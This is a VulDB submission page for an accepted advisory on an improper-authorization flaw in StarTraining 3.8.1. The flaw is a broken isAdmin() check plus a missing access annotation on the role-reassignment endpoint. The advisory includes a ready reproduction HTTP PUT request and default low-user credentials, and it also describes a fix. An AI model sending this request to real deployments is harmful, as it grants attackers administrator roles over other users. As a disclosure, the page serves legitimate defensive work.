| Titel | zhistaredu StarTraining 3.8.1 Improper Authorization |
|---|
| Beschreibung | StarTraining 3.8.1 — Broken data-scope check enables arbitrary role reassignment (IDOR) (ST-VULN-004)
Product: StarTraining 3.8.1
CWE: CWE-639 / CWE-862
Classification: Improper Authorization
=== SUMMARY ===
`SysUser.isAdmin(String userId)` returns true whenever userId != null, so `checkUserDataScope()` never restricts access. `PUT /system/user/authRole` reassigns roles for arbitrary userId.
=== ROOT CAUSE ===
Broken isAdmin() + missing @PreAuthorize on user role grant endpoint.
=== REPRODUCTION ===
# Login low user wukong/admin123 or use forged JWT
PUT /system/user/authRole HTTP/1.1
Host: 127.0.0.1:8900
Authorization: LOW_USER_TOKEN
Content-Type: application/x-www-form-urlencoded
Connection: close
userId=fa36ec75-160a-47e4-8140-ef1e94c5d329&roleIds=0cd789a0-1187-4c62-901d-a2801794e27a
Expected: HTTP 200; victim admin roleIds replaced
=== IMPACT ===
Horizontal/vertical privilege escalation within tenant.
=== FIX ===
Fix isAdmin to check real admin flag; enforce @PreAuthorize; validate roleIds scope.
|
|---|
| Quelle | ⚠️ https://github.com/ArrestX/startraining-advisories/blob/main/advisories/ST-VULN-004-idor-auth-role-privesc.md |
|---|
| Benutzer | thmanhz (UID 100327) |
|---|
| Einreichung | 05.08.2026 02:18 (vor 2 Monaten) |
|---|
| Moderieren | 27.09.2026 05:38 (2 months later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 410808 [zhistaredu StarTraining bis 3.8.1 authRole Endpoint SysUser.java SysUser.isAdmin userId/roleIds erweiterte Rechte] |
|---|
| Punkte | 20 |
|---|